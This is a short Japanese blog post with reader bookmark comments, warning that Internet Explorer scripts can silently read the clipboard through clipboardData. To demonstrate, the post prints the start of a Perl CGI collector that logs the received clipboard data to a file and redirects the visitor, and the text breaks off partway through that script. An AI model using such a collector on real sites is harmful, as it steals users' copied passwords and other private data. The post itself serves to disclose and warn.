あなたのクリップボードが盗まれる - Ceekz Logs

IE には、便利な機能がある。それは、スクリプト（JavaScript etc..）でクリップボードの操作ができるのだ。clipboardData というオブジェクトね。操作できる内容は、クリップボードにデータを読み込むこと（setData）、読み出すこと（getData）、消去すること（clearData）の3種類。 読み出すことも可能なんですよね。しかも、デフォルトでは、警告すら出ない。 以下のような、プログラムを準備しよう。 #!/usr/bin/perl use strict; my $file = '/tmp/cb.txt'; open (CB, ">> $file"); print CB "$ENV{'QUERY_STRING'}\n"; close (CB); print "Status: 301 Moved Permanently\n"; print "Location:

[webmarksjp]

security

[makou]

なるほどねぇ

[Griffin]

クリップボードが盗まれる！！

[mosotan]

IEセキュリティ設定 - JavaScript　直しておかないと危険かも

[tokada]

有名なenv

[Erlkonig]

落とし穴。

[Kazabana]

割と懐かしい話なのだが、知らない人は結構多い。Firefox使っている理由の一つだったりする。

[hiragisan]

知らなかった

[hurikake]

ｽｺﾞｽ

[setamise]

IE限定

[kasedac]

IEでスクリプト(JavaScript,etc)を使ってクリップボードの読み出し操作が、デフォでは警告なしにできる

[delorean]

こわい

[oki448jp]

クリップボードのセキュリティ

[AKIY]

パスワードのコピペは危険。Firefoxでは起きない。

[yau]

IEらしいな

[kdaiba]

知らなかった

[highfrontier]

このObject便利。sleipnirのuser scriptで多用している。でも外部サイトでやられたらこういう事になる訳か

[shidho]

実際にコードが出てくると迫力があるな。

[hiboma]

clipboardDataオブジェクト

[kanme]

こわーい

[sugatch]

知らなかったよ＞＜---IEのインターネットオプション設定切替済み

[nobotora]

IEでのクリップボードの穴

[saqu]

コレはこわい

[hiro_y]

IEだとJavaScript経由でクリップボードの内容を参照可能。警告なしで送信される可能性。

[maron122]

怖いの

[send]

啓蒙上げ

[summercontrail]

"「スクリプトによる貼り付け処理の許可」は、「ダイアログに表示する」の設定に"

[another]

via 結城さん。

[nilab]

Internet Explorer

[taniguchitomoya]

使うときは意識して使うべし